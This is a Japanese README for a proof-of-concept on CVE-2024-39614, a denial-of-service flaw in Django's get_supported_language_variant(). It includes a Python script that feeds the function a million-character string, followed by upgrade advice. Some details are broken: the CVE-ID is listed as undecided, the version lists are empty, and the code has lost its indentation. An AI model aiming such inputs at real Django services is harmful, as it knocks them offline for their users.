
CVE-2024-39614に対する概念実証エクスプロイト。Djangoのget_supported_language_variant()関数におけるサービス拒否脆弱性で、バージョン5.0<5.0.7および4.2<4.2.14に影響します。
このリポジトリには、Django 5.0(5.0.7より前)および4.2(4.2.14より前)におけるサービス拒否(DoS)脆弱性を実証する概念実証(PoC)スクリプトが含まれています。この脆弱性は、特定の文字を含む非常に長い文字列を処理する際に、get_supported_language_variant()関数で発生する可能性のあるDoS攻撃に関連しています。
CVE-ID: (未定)
概要:
Django 5.0(5.0.7より前)および4.2(4.2.14より前)のget_supported_language_variant()関数は、サービス拒否攻撃に対して脆弱です。この関数は、特定の文字を含む非常に長い文字列を送信することで悪用される可能性があり、リソースの枯渇を引き起こし、その結果としてサービス拒否状態に陥る恐れがあります。
影響を受けるバージョン:
修正されたバージョン:
pip install django)このスクリプトは、攻撃者がget_supported_language_variant()関数に非常に長い文字列を送信することで脆弱性を悪用する方法を示しています。
以下のスクリプトをdos_poc.pyとして保存し、実行してください。
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability()関数が、生成した非常に長い文字列を引数としてget_supported_language_variant()を呼び出し、脆弱性をテストします。この脆弱性を緩和するには、修正されたバージョンのDjangoにアップグレードしてください。
公式のDjangoアップグレード手順に従って、Djangoのインストールを最新のセキュアなバージョンに更新してください。
ソフトウェアを常に最新の状態に保ち、セキュリティのベストプラクティスに従うことで、DjangoにおけるこのDoS問題のような脆弱性を防ぐことができます。